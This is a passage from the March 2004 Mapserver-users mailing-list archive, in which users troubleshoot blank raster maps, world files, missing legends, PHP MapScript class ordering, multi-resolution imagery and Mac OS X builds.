problem: there ist no legend indicated. not even an > error message. just an image with nothing in it. i can't imagine why. what > am i doing wrong? i am grateful for each assistance. > Could this be the eternal "STATUS DEFAULT" problem? "STATUS ON" in map layers means that the layer has to be explicitly requested. For a layer to be automatically displayed, its STATUS has to be DEFAULT. OTOH legends and scalebars only have "STATUS ON" , and I'm not sure if this works the same in MapScript. Try setting STATUS DEFAULT for your layers; if that doesn't help, the problem comes almost certainly from a mismatch between the EXTENT and the layer's boundaries. Jan From lfilak at medinaco.org Thu Mar 18 05:41:23 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Thu, 18 Mar 2004 08:41:23 -0500 Subject: [Mapserver-users] Question about wld/gfw file Message-ID: <20040318134116.5FA901A65A1@mail.medinaco.org> If my understanding is correct - what you are trying to do is generate a map elsewhere and save it as an image (gif file) and then serve that "raster" layer up using mapserver.? If that understanding is correct then the answer to "Do I need to create a new wld/gfw file for each of my own maps?" is yes. If all your doing is serving up a single raster layer (the map image) then you can use just about any coordinates you would like in the wld file because the image will not need to relate to any other data. Keep in mind that you can't serve a scalebar with this approach as it will be incorrect. Example (this is a quick example so I may need corrected here): If the image is 1000x1000 then the wld could be: 1 0 -0 -1 0 1000 and the mapfile extent would be 0 0 1000 1000 HTH Lowell The following message was sent by =?iso-8859-1?q?TOH=20CZ?= on Thu, 18 Mar 2004 06:22:32 +0000 (GMT). > Hi, I have a few questions about the wld/gfw files > used in mapserver > 1) Do I need to create a new wld/gfw file for each of > my own maps? > 2) How do you determine what to put into the wld/gfw > file? > I tried searching the archives, I could not find one > that contained information about using GIF files > Right now, my file shows a blank GIF image > > MAP > IMAGETYPE GIF > EXTENT 201621.496941 -294488.285333 > 1425518.020722 498254.511514 > SIZE 400 300 > SHAPEPATH "C:\Program Files\Apache > Group\Apache2\htdocs\tutorial\data" > IMAGECOLOR 255 255 255 > > PROJECTION > "proj=laea" > "ellps=clrk66" > "lat_0=45" > "lon_0=-100" > # > # Alternatively, you can specify an EPSG code. > # "init=epsg:2163" > # > END > > # Start of LAYER DEFINITIONS > --------------------------------------------- > LAYER # States polygon layer begins here > NAME tp_genmap > DATA "tp_genmap.gif" > STATUS DEFAULT > TYPE RASTER > > PROJECTION > "init=epsg:4326" > END > > CLASS > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END # States polygon layer ends here > # End of LAYER DEFINITIONS > ------------------------------- > > END # end of map file/object > Thanks > > > > > > ___________________________________________________________ > Yahoo! Messenger - Communicate instantly..."Ping" > your friends today! Download Messenger Now > http://uk.messenger.yahoo.com/download/index.html > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From wdw at rti.org Thu Mar 18 05:46:15 2004 From: wdw at rti.org (Wheaton, William D.) Date: Thu, 18 Mar 2004 08:46:15 -0500 Subject: Moveclassup (Was: RE: [Mapserver-users] Rendering mapscript styl e modifications) Message-ID: Frank-- Thanks for your suggestion to you moveclassup(). I tried it as follows: $layer->moveclassup(1); But it returned this error: Fatal error: Call to undefined function: moveclassup() in /var/www/htdocs/els/mapscript_test.phtml on line 32 I checked the documentation, and moveclassup is clearly something that should exist. I'm using mapserver 4.0. You also suggested removing the default class. That seemed to do the trick. So your explanation of how the classes work (default index and subsequent class indexes) helped me understand the concept behind managing classes. Thank you! Back to moveclassup...Note that I searched the archives and found not a single mention of moveclassup in the email archives. Here's the script again: getlayerbyname('Respondents'); $class = ms_newClassObj($layer); $style = ms_newStyleObj($class); $style->color->setRGB(0, 255, 0); $class->set("status", MS_ON); $layer->moveclassup(1) $layer->set("status", MS_ON); $image=$map->prepareImage(); $layer->draw($image); $image=$map->draw(); $image_url=$image->saveWebImage(MS_PNG,1,1,0); echo(""); ?> ----------------------------------------- Bill Wheaton RTI International P.O. 12194, 3040 Cornwallis Rd. RTP, NC 27709 wdw at rti.org, 919-541-6158 (V), 919-541-8830 (F) -----Original Message----- From: Frank Warmerdam [mailto:warmerdam at pobox.com] Sent: Wednesday, March 17, 2004 5:21 PM To: Wheaton, William D. Cc: 'mapserver-users at lists.gis.umn.edu' Subject: Re: [Mapserver-users] Rendering mapscript style modifications Wheaton, William D. wrote: > But again, the map reflects what is in the .map file, not what I've > changed in the mapscript code. The mapscript code is below-- is there > something missing here? Do I need to specify a symbolname, symbol > size etc.? Again, the graphic that is produced shows all of the > layers in my .map file, including the one that is modified in > mapscript. But it is ignoring the modifications I'm making in > mapscript for that layer. Many thanks for your assistance! > > > dl('php_mapscript.so'); > > $map = ms_newMapObj(mapscript_test.phtml); > > $layer=$map->getlayerbyname('Respondents'); > $class = ms_newClassObj($layer); > $style = ms_newStyleObj($class); > $style->color->setRGB(0, 255, 0); > $class->set("status", MS_ON); > $layer->set("status", MS_ON); > > $image=$map->prepareImage(); > $layer->draw($image); > $image=$map->draw(); > > $image_url=$image->saveWebImage(MS_PNG,1,1,0); > > echo(""); > ?> William, I am no expert on MapScript, but it seems to me you haven't done anything to put your "default class" ahead of the default class loaded from the mapfile. As far as I can tell after your changes, the layer will have two classes (with no criteria) and so the first (from the mapfile) will always be used in preference to your new one. You might try switching the classes or actively destroying the old one. I think something like $layer->moveclassup(1) might push your new class ahead of the original class. Good luck, -- ---------------------------------------+-------------------------------- ---------------------------------------+------ I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From cz_toh at yahoo.com Thu Mar 18 05:48:45 2004 From: cz_toh at yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Thu, 18 Mar 2004 13:48:45 +0000 (GMT) Subject: [Mapserver-users] Question about wld/gfw file In-Reply-To: <20040318134116.5FA901A65A1@mail.medinaco.org> Message-ID: <20040318134845.26670.qmail@web14005.mail.yahoo.com> Okay this is what I am doing, I want to display a GIF image(400 x 300) that is already drawn as up when you open the image normally on a simple webpage and add zooming/panning features later I still am unable to get the GIF image to display properly(its only a blank image) ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From bob.basques at ci.stpaul.mn.us Thu Mar 18 06:06:09 2004 From: bob.basques at ci.stpaul.mn.us (blammo) Date: Thu, 18 Mar 2004 08:06:09 -0600 Subject: [Mapserver-users] Just call me a newbie . . . multiple Raster LAYERs question {Scanned} {Scanned} In-Reply-To: References: Message-ID: <4059ACD1.9080407@ci.stpaul.mn.us> This is a multi-part message in MIME format. --------------070105040903060100080606 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Siki Zoltan wrote: >Hi, > >On Wed, 17 Mar 2004, Bob Basques wrote: > > > >>All, >> >>Let's say I have Six different levels of resolution of Aerial Photo's >>all of them having the same coverage extents. >> >> >> >> > >It won't work. >You should create six tile index and six layer and set MINSCALE and >MAXSCALE for them to turn the best one for a scale. You can add them to >the same group, so you can easily turn them on and off through the group >name. > > I got it to work as you (and others) described with seperate layers and using the GROUP option. >An other solution may be the sid format (may be the ecw to). >As far as I know ecw is supported in the nightly built version. >As far as I know MrSid is not supported :( >These format can contain multi resolution image sources, that case you can >use the six different resolution tile as one image, that case no need for >tileindex. > > In my experience the MRSID option is too slow to render, I believe the performance is (much) better using the seperate resolutions as LAYERS. bobb --------------070105040903060100080606 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Siki Zoltan wrote: 
Hi,

On Wed, 17 Mar 2004, Bob Basques wrote:

  
All,

Let's say I have Six different levels of resolution of Aerial Photo's  
all of them having the same coverage extents.


    

It won't work.
You should create six tile index and six layer and set MINSCALE and 
MAXSCALE for them to turn the best one for a scale. You can add them to
the same group, so you can easily turn them on and off through the group 
name.
I got it to work as you (and others) described with seperate layers and using the GROUP option.
An other solution may be the sid format (may be the ecw to).
As far as I know ecw is supported in the nightly built version.
As far as I know MrSid is not supported :(
These format can contain multi resolution image sources, that case you can 
use the six different resolution tile as one image, that case no need for 
tileindex.
In my experience the MRSID option is too slow to render, I believe the performance is (much) better using the seperate resolutions as LAYERS.

bobb

--------------070105040903060100080606-- From bob.basques at ci.stpaul.mn.us Thu Mar 18 06:06:57 2004 From: bob.basques at ci.stpaul.mn.us (blammo) Date: Thu, 18 Mar 2004 08:06:57 -0600 Subject: [Mapserver-users] DWG/DXF to SHP In-Reply-To: <21166.212.238.227.182.1079606258.squirrel@webmail.xs4all.nl> References: <21166.212.238.227.182.1079606258.squirrel@webmail.xs4all.nl> Message-ID: <4059AD01.7050303@ci.stpaul.mn.us> bartvde at xs4all.nl wrote: >Hi, > >the only tools that I know of are: > >1) >FME from Safe Software. Pretty expensive stuff though. > >2) cad2shape >http://www.guthcad.com/cad2shape.htm > > AutoCAD MAP will export SHP files. From lorenzo.moretti at bologna.enea.it Thu Mar 18 06:22:08 2004 From: lorenzo.moretti at bologna.enea.it (Lorenzo Moretti) Date: Thu, 18 Mar 2004 15:22:08 +0100 Subject: [Mapserver-users] PHP MapScript on Mac OS X? In-Reply-To: References: <4F922D99-7772-11D8-8856-000393CACF38@ll.mit.edu> Message-ID: --============_-1132502765==_ma============ Content-Type: text/plain; charset="us-ascii" ; format="flowed" >Gary, > >These instructions provide some hints on support library builds and >compiling mapserver, though they are a little out of date: > >http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MacOS > > With a recent version of OS X like 10.3 and recent versions of >mapserver (from cvs) the build should proceed without problems after >running configure. > >I encourage you to add any updated solutions you find to the wiki >page above, so that others can benefit from your experiences. > >zak >-- >Zak James >Applications and Software Development >DM Solutions Group Inc. >http://www.dmsolutions.ca > > >On Mar 16, 2004, at 12:49 PM, Gary Condon wrote: > >>All, >> >>I am trying to get PHP MapScript up and running on Mac OS X 10.3 >>but, so far, without success. >> >>I have tried using the precompiled version provided by Server >>Logistics but I can't dl() the module under PHP 4.3.4 or 5.0b4. >> >>Has anybody out there gotten this to work? If so, how? >> >>Thanks is advance, >> >>Gary >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users I'm using MapServer-MapScript 4.0.1 under OSX 10.2.8. It works very well and it's speed.... I have build mapserver/mapscript with PHP 4.3.3. Gdal is 1.1.9. I'm working for a simple installer for all OS X users with last GDAL-OGR 1.2.0 like my Grass Gis Complete on MAC OS X (see http://wwwamb.bologna.enea.it/forgrass/ ). It's possible to work with PHP/MapScript (.phtml suffix) toghether with PHP for Apache (.php) with Apache under OS X. Now I have /usr/local/php (normal php 4.3.3 for Apache) /usr/local/php_cgi (all php 4.3.3 as CGI) /WebServer/CGI-PHPMapServer (inside there is only a php link to /usr/local/php_cgi/bin/php) /WebServer/CGI-Executables (inside there is mapserv) /sw (all libraries for mapserver and php from FINK) The goal is to build MapServer Complete without Fink and with the last libraries with double clic installer. Bye -- ________________________________________________________________________ || Lorenzo Moretti e-mail: lorenzo.moretti at bologna.enea.it ||/|/| ENEA prot/idr Web: http://wwwamb.bologna.enea.it/ || | via Don Fiammelli, 2 FTP: ftp://ftpamb.bologna.enea.it/ (res.) ~~~~~~ 40128 BOLOGNA - ITALY Ph: +39-0516098086 Fax: +39-0516098131 Download GRASS for MAC OS X: http://wwwamb.bologna.enea.it/forgrass/ ________________________________________________________________________ --============_-1132502765==_ma============ Content-Type: text/html; charset="us-ascii" Re: [Mapserver-users] PHP MapScript on Mac OS X?
Gary,

These instructions provide some hints on support library builds and compiling mapserver, though they are a little out of date:

http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MacOS

 With a recent version of OS X like 10.3 and recent versions of mapserver (from cvs) the build should proceed without problems after running configure.

I encourage you to add any updated solutions you find to the wiki page above, so that others can benefit from your experiences.

zak
--
Zak James
Applications and Software Development
DM Solutions Group Inc.
http://www.dmsolutions.ca


On Mar 16, 2004, at 12:49 PM, Gary Condon wrote:
All,

I am trying to get PHP MapScript up and running on Mac OS X 10.3 but, so far, without success.

I have tried using the precompiled version provided by Server Logistics but I can't dl() the module under PHP 4.3.4 or 5.0b4.

Has anybody out there gotten this to work?  If so, how?

Thanks is advance,

Gary

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

I'm using MapServer-MapScript 4.0.1 under OSX 10.2.8. It works very well and it's speed....

I have build mapserver/mapscript with PHP 4.3.3. Gdal is 1.1.9. I'm working for a simple installer for all OS X users with last GDAL-OGR 1.2.0 like my Grass Gis Complete on MAC OS X (see http://wwwamb.bologna.enea.it/forgrass/ ).
It's possible to work with PHP/MapScript (.phtml suffix) toghether with PHP for Apache (.php) with Apache under OS X.

Now I have
/usr/local/php                  (normal php 4.3.3 for Apache)
/usr/local/php_cgi              (all php 4.3.3 as CGI)
/WebServer/CGI-PHPMapServer     (inside there is only a php link to /usr/local/php_cgi/bin/php)
/WebServer/CGI-Executables      (inside there is mapserv)
/sw                             (all libraries for mapserver and php from FINK)

The goal is to build MapServer Complete without Fink and with the last libraries with double clic installer.

Bye



--
________________________________________________________________________
||       Lorenzo Moretti        e-mail: lorenzo.moretti at bologna.enea.it     
||/|/|   ENEA prot/idr          Web: http://wwwamb.bologna.enea.it/    
||   |   via Don Fiammelli, 2   FTP: ftp://ftpamb.bologna.enea.it/ (res.)
~~~~~~   40128 BOLOGNA - ITALY  Ph: +39-0516098086  Fax: +39-0516098131
                        Download GRASS for MAC OS X:    
                   http://wwwamb.bologna.enea.it/forgrass/
________________________________________________________________________
--============_-1132502765==_ma============-- From e9625730 at student.tuwien.ac.at Thu Mar 18 06:33:44 2004 From: e9625730 at student.tuwien.ac.at (Elisabeth Nolz) Date: Thu, 18 Mar 2004 15:33:44 +0100 (MET) Subject: [Mapserver-users] Re: no legend Message-ID: i did all the changes you advised me to do: i changed the KEYSIZE, NAMEd each CLASS and set the STATUS DEFAULT for each layer. but that didn't improve anything. the only thing that changed is, that now all the names of the classes are displayed in the legend. i also tried to change the EXTENT. but that didn't help either. and i don't know how to smooth out the "mismatch between the EXTENT and the layer's boundaries". lg, elisabeth. From lfilak at medinaco.org Thu Mar 18 06:34:35 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Thu, 18 Mar 2004 09:34:35 -0500 Subject: [Mapserver-users] Question about wld/gfw file Message-ID: <20040318143428.8DE7F1A65A3@mail.medinaco.org> Hopefully this will help. ++++++++++++++++++++++++++++ tp_genmap.wld ++++++++++++++++++++++++++++ 1 0 -0 -1 0 300 +++++++++++++++++++++++++++++ your.map +++++++++++++++++++++++++++++ MAP STATUS ON IMAGETYPE GIF EXTENT 0 0 400 300 SIZE 400 300 SHAPEPATH "C:\Program Files\Apache Group\Apache2\htdocs\tutorial\data" IMAGECOLOR 255 255 255 UNITS METERS # Start of LAYER DEFINITIONS --------------------------------------------- LAYER # States polygon layer begins here NAME tp_genmap DATA "tp_genmap.gif" STATUS DEFAULT TYPE RASTER END # States polygon layer ends here # End of LAYER DEFINITIONS ------------------------------- END # end of map file/object Lowell The following message was sent by "Lowell Filak" on Thu, 18 Mar 2004 08:41:23 -0500. > If my understanding is correct - what you are trying to do is generate a > map elsewhere and save it as an image (gif file) and then serve that > "raster" layer up using mapserver.? > If that understanding is correct then the answer to "Do I need to create > a new wld/gfw file for each of my own maps?" is yes. > > If all your doing is serving up a single raster layer (the map image) > then you can use just about any coordinates you would like in the wld > file because the image will not need to relate to any other data. > Keep in mind that you can't serve a scalebar with this approach as it > will be incorrect. > Example (this is a quick example so I may need corrected here): If the > image is 1000x1000 then the wld could be: > 1 > 0 > -0 > -1 > 0 > 1000 > and the mapfile extent would be 0 0 1000 1000 > > HTH > > Lowell > > The following message was sent by =?iso-8859-1?q?TOH=20CZ?= > on Thu, 18 Mar 2004 06:22:32 +0000 (GMT). > > > Hi, I have a few questions about the wld/gfw files > > used in mapserver > > 1) Do I need to create a new wld/gfw file for each of > > my own maps? > > 2) How do you determine what to put into the wld/gfw > > file? > > I tried searching the archives, I could not find one > > that contained information about using GIF files > > Right now, my file shows a blank GIF image > > > > MAP > > IMAGETYPE GIF > > EXTENT 201621.496941 -294488.285333 > > 1425518.020722 498254.511514 > > SIZE 400 300 > > SHAPEPATH "C:\Program Files\Apache > > Group\Apache2\htdocs\tutorial\data" > > IMAGECOLOR 255 255 255 > > > > PROJECTION > > "proj=laea" > > "ellps=clrk66" > > "lat_0=45" > > "lon_0=-100" > > # > > # Alternatively, you can specify an EPSG code. > > # "init=epsg:2163" > > # > > END > > > > # Start of LAYER DEFINITIONS > > --------------------------------------------- > > LAYER # States polygon layer begins here > > NAME tp_genmap > > DATA "tp_genmap.gif" > > STATUS DEFAULT > > TYPE RASTER > > > > PROJECTION > > "init=epsg:4326" > > END > > > > CLASS > > COLOR 232 232 232 > > OUTLINECOLOR 32 32 32 > > END > > END # States polygon layer ends here > > # End of LAYER DEFINITIONS > > ------------------------------- > > > > END # end of map file/object > > Thanks > > > > > > > > > > > > ___________________________________________________________ > > Yahoo! Messenger - Communicate instantly..."Ping" > > your friends today! Download Messenger Now > > http://uk.messenger.yahoo.com/download/index.html > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ed at topozone.com Thu Mar 18 06:36:41 2004 From: ed at topozone.com (Ed McNierney) Date: Thu, 18 Mar 2004 09:36:41 -0500 Subject: [Mapserver-users] Just call me a newbie . . . multiple Raster LAYERs question {Scanned} {Scanned} Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3FFF@mercator.topozone.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C40CF6.6DACB8E8 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Bob - =20 You can use GDAL to create TIFF overviews and produce the same effect (multiple resolutions stored in one file) without the expense or overhead of MrSID. Your performance should be essentially identical to using the multiple-LAYER approach. =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: blammo [mailto:bob.basques at ci.stpaul.mn.us]=20 Sent: Thursday, March 18, 2004 9:06 AM Cc: Mapserver List Subject: Re: [Mapserver-users] Just call me a newbie . . . multiple Raster LAYERs question {Scanned} {Scanned} Siki Zoltan wrote:=20 Hi, =09 On Wed, 17 Mar 2004, Bob Basques wrote: =09 =20 All, =09 Let's say I have Six different levels of resolution of Aerial Photo's =20 all of them having the same coverage extents. =09 =09 =20 =09 It won't work. You should create six tile index and six layer and set MINSCALE and=20 MAXSCALE for them to turn the best one for a scale. You can add them to the same group, so you can easily turn them on and off through the group=20 name. =20 I got it to work as you (and others) described with seperate layers and using the GROUP option. An other solution may be the sid format (may be the ecw to). As far as I know ecw is supported in the nightly built version. As far as I know MrSid is not supported :( These format can contain multi resolution image sources, that case you can=20 use the six different resolution tile as one image, that case no need for=20 tileindex. =20 In my experience the MRSID option is too slow to render, I believe the performance is (much) better using the seperate resolutions as LAYERS. bobb ------_=_NextPart_001_01C40CF6.6DACB8E8 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
Bob -
 
You can use GDAL to create TIFF overviews and = produce the=20 same effect (multiple resolutions stored in one file) without the = expense or=20 overhead of MrSID.  Your performance should be essentially = identical to=20 using the multiple-LAYER approach.
 
    - Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
(978) 251-4242 =


From: blammo=20 [mailto:bob.basques at ci.stpaul.mn.us]
Sent: Thursday, March = 18, 2004=20 9:06 AM
Cc: Mapserver List
Subject: Re: = [Mapserver-users]=20 Just call me a newbie . . . multiple Raster LAYERs question {Scanned}=20 {Scanned}

Siki Zoltan wrote:=20 
Hi,

On Wed, 17 Mar 2004, Bob Basques wrote:

  
All,

Let's say I have Six different levels of resolution of Aerial Photo's =20
all of them having the same coverage extents.


    

It won't work.
You should create six tile index and six layer and set MINSCALE and=20
MAXSCALE for them to turn the best one for a scale. You can add them to
the same group, so you can easily turn them on and off through the group =

name.
I got it to work as you (and others) described with = seperate layers and using the GROUP option.
An other solution may be the sid format =
(may be the ecw to).
As far as I know ecw is supported in the nightly built version.
As far as I know MrSid is not supported :(
These format can contain multi resolution image sources, that case you =
can=20
use the six different resolution tile as one image, that case no need =
for=20
tileindex.
In my experience the MRSID option is too slow to = render, I=20 believe the performance is (much) better using the seperate resolutions = as=20 LAYERS.

bobb

------_=_NextPart_001_01C40CF6.6DACB8E8-- From mapserver at no-log.org Thu Mar 18 06:38:05 2004 From: mapserver at no-log.org (mapserver at no-log.org) Date: Thu, 18 Mar 2004 15:38:05 +0100 (CET) Subject: [Mapserver-users] Stile problem with SWF and fdb fonts Message-ID: <24628.81.49.79.37.1079620685.squirrel@mail2.no-log.org> Hi everyone, I've the same problem with mapserver, flash rendering and fdb fonts. When i render a layer which uses fonts and OUTPUT_MOVIE=multiple i get an internal server error. But no problem with the same mapfile and OUTPUT_MOVIE=single, all is rendered correctly and no error. I'm sure that mapserver, gdal, ming, etc are using the sames libs. (i've recompiled many times mapserver with all possible options and libs versions). It's the same with mapserver 4.0.1 and latest nightly build. Thanks in advance :) PS: If you want to compile mapserver with ming-0.3a edit the mapswf.c and add a third argument to the function calls SWFMovie_save(). Ming is now able to use the swf compression with zlib introduced with flash 6 MX. If it equals to -1 => no compression, if between 0 and 9 compression is enabled. Christophe Beveraggi From jhart at frw.uva.nl Thu Mar 18 06:52:49 2004 From: jhart at frw.uva.nl (Jan Hartmann) Date: Thu, 18 Mar 2004 15:52:49 +0100 Subject: [Mapserver-users] Re: no legend In-Reply-To: References: Message-ID: <4059B7C1.6060508@frw.uva.nl> Elisabeth Nolz wrote: > i did all the changes you advised me to do: i changed the KEYSIZE, NAMEd > each CLASS and set the STATUS DEFAULT for each layer. but that didn't > improve anything. the only thing that changed is, that now all the names > of the classes are displayed in the legend. > i also tried to change the EXTENT. but that didn't help either. and i > don't know how to smooth out the "mismatch between the EXTENT and the > layer's boundaries". Extent is defined as: EXTENT Looking at your extent: EXTENT 1100 340050 2000 339480 shows that miny > maxy. You certainly have to reverse the second and fourth value. (Shouldn't this throw an error?). I don't know what coordinate system this is, but if it is in meters the region is 900m wide and 570m long. What I meant by "matching" was that the coordinate system of the vector or raster file you are using has to be in the same units and region as the EXTENT. For example, if you data are in LatLong, you will get a blank map with this extent. If you have GDAL installed, you can try "gdalinfo" or "ogrinfo" on your file to see what its extents are. If you don't have them , you can download them from www.remotesensing.org/gdal and www.remotesensing.org/ogr. Personally, I couldn't do without them. Jan Jan From sgillies at frii.com Thu Mar 18 06:41:20 2004 From: sgillies at frii.com (Sean Gillies) Date: Thu, 18 Mar 2004 07:41:20 -0700 Subject: Moveclassup (Was: RE: [Mapserver-users] Rendering mapscript styl e modifications) In-Reply-To: References: Message-ID: <525907CC-78EA-11D8-B9A2-000393B98B56@frii.com> Bill, If you set the expression of the default class in your map file, and leave the expression of the new class undefined, the new class will become the default and there will be no need to move it. layer.classitem = 'ATTRIBUTE1' # Name of column in your respondants table layer.getClass(0).setExpression('FOO') or something like that. This is the best practice rather than moving classes around. cheers, Sean On Mar 18, 2004, at 6:46 AM, Wheaton, William D. wrote: > Frank-- > > Thanks for your suggestion to you moveclassup(). I tried it as > follows: > > $layer->moveclassup(1); > > But it returned this error: > Fatal error: Call to undefined function: moveclassup() in > /var/www/htdocs/els/mapscript_test.phtml on line 32 > > I checked the documentation, and moveclassup is clearly something that > should exist. I'm using mapserver 4.0. > > You also suggested removing the default class. That seemed to do the > trick. > So your explanation of how the classes work (default index and > subsequent > class indexes) helped me understand the concept behind managing > classes. > Thank you! > > Back to moveclassup...Note that I searched the archives and found not a > single mention of moveclassup in the email archives. > > Here's the script again: > > dl('php_mapscript.so'); > > $map = ms_newMapObj(mapscript_test.phtml); > > $layer=$map->getlayerbyname('Respondents'); > $class = ms_newClassObj($layer); > $style = ms_newStyleObj($class); > $style->color->setRGB(0, 255, 0); > $class->set("status", MS_ON); > $layer->moveclassup(1) > $layer->set("status", MS_ON); > > $image=$map->prepareImage(); > $layer->draw($image); > $image=$map->draw(); > > $image_url=$image->saveWebImage(MS_PNG,1,1,0); > > echo(""); > ?> > > ----------------------------------------- > Bill Wheaton > RTI International > P.O. 12194, 3040 Cornwallis Rd. > RTP, NC 27709 > wdw at rti.org, 919-541-6158 (V), 919-541-8830 (F) > > > > -----Original Message----- > From: Frank Warmerdam [mailto:warmerdam at pobox.com] > Sent: Wednesday, March 17, 2004 5:21 PM > To: Wheaton, William D. > Cc: 'mapserver-users at lists.gis.umn.edu' > Subject: Re: [Mapserver-users] Rendering mapscript style modifications > > > Wheaton, William D. wrote: >> But again, the map reflects what is in the .map file, not what I've >> changed in the mapscript code. The mapscript code is below-- is there >> something missing here? Do I need to specify a symbolname, symbol >> size etc.? Again, the graphic that is produced shows all of the >> layers in my .map file, including the one that is modified in >> mapscript. But it is ignoring the modifications I'm making in >> mapscript for that layer. Many thanks for your assistance! >> >> > >> dl('php_mapscript.so'); >> >> $map = ms_newMapObj(mapscript_test.phtml); >> >> $layer=$map->getlayerbyname('Respondents'); >> $class = ms_newClassObj($layer); >> $style = ms_newStyleObj($class); >> $style->color->setRGB(0, 255, 0); >> $class->set("status", MS_ON); >> $layer->set("status", MS_ON); >> >> $image=$map->prepareImage(); >> $layer->draw($image); >> $image=$map->draw(); >> >> $image_url=$image->saveWebImage(MS_PNG,1,1,0); >> >> echo(""); >> ?> > > William, > > I am no expert on MapScript, but it seems to me you haven't done > anything to > put your "default class" ahead of the default class loaded from the > mapfile. > As far as I can tell after your changes, the layer will have two > classes > (with no criteria) and so the first (from the mapfile) will always be > used > in preference to your new one. You might try switching the classes or > actively destroying the old one. > > I think something like $layer->moveclassup(1) might push your new class > ahead of the original class. > > Good luck, > -- > --------------------------------------- > +-------------------------------- > ---------------------------------------+------ > I set the clouds in motion - turn up | Frank Warmerdam, > warmerdam at pobox.com > light and sound - activate the windows | http://pobox.com/~warmerdam > and watch the world go round - Rush | Geospatial Programmer for Rent > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From e9625730 at student.tuwien.ac.at Thu Mar 18 06:58:19 2004 From: e9625730 at student.tuwien.ac.at (Elisabeth Nolz) Date: Thu, 18 Mar 2004 15:58:19 +0100 (MET) Subject: [Mapserver-users] Re: no legend Message-ID: sorry guys for the last email. forget it, because: I'VE GOT IT. however, all your advises did help. i just forgot to change the KEYSIZE again. thanks a lot for your help, elisabeth. From cz_toh at yahoo.com Thu Mar 18 07:09:44 2004 From: cz_toh at yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Thu, 18 Mar 2004 15:09:44 +0000 (GMT) Subject: [Mapserver-users] Question about wld/gfw file In-Reply-To: <20040318143428.8DE7F1A65A3@mail.medinaco.org> Message-ID: <20040318150944.18414.qmail@web14002.mail.yahoo.com> I have tried the files but it still shows me a blank image I think the extent might be wrong, but I am not sure what to input inside for my image I have changed it to a 758 x 450 image but it only enlarges the output 'window' and does not show up What is strange however when I try to save the image it gives me an untitled bitmap image ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From lfilak at medinaco.org Thu Mar 18 07:17:59 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Thu, 18 Mar 2004 10:17:59 -0500 Subject: [Mapserver-users] Question about wld/gfw file Message-ID: <20040318151752.E26B31A65A1@mail.medinaco.org> Please email me your image. Lowell The following message was sent by =?iso-8859-1?q?TOH=20CZ?= on Thu, 18 Mar 2004 15:09:44 +0000 (GMT). > I have tried the files but it still shows me a blank > image > I think the extent might be wrong, but I am not sure > what to input inside for my image > I have changed it to a 758 x 450 image but it only > enlarges the output 'window' and does not show up > What is strange however when I try to save the image > it gives me an untitled bitmap image > > > > > > > ___________________________________________________________ > Yahoo! Messenger - Communicate instantly..."Ping" > your friends today! Download Messenger Now > http://uk.messenger.yahoo.com/download/index.html From siki at agt.bme.hu Thu Mar 18 09:58:39 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Thu, 18 Mar 2004 16:58:39 -0100 (GMT+1) Subject: [Mapserver-users] Question about wld/gfw file {Scanned} In-Reply-To: <20040318133703.23773.qmail@web14005.mail.yahoo.com> Message-ID: Hi, On Thu, 18 Mar 2004, [iso-8859-1] TOH CZ wrote: > Hi > I am still not sure what I need > I have created a wld file named tpgenmap.wld with some > values > I do not know where you get that OGR thing is it > something that must be downloaded seperately from > mapserver? OGR is an optional package to mapserver. What operating system are you using? Did you compile mapserver from sources or install binary release. You can check what modules are installed. Move to your cgi-bin directory and type ./mapserv -v on linux or mapserv.exe -v on windows But you can use any commercial software like photoshop to find out the dimensions of your image. > Is using only 1 GIF image(any images for that matter) > possible with mapserver? So far the examples are > 'drawn' out individually instead of being the image > itself You can use hundreds of images with mapserver. Please read the raster howto. Bye Zoltan From hrz at geodata.soton.ac.uk Thu Mar 18 07:50:12 2004 From: hrz at geodata.soton.ac.uk (Homme Zwaagstra) Date: Thu, 18 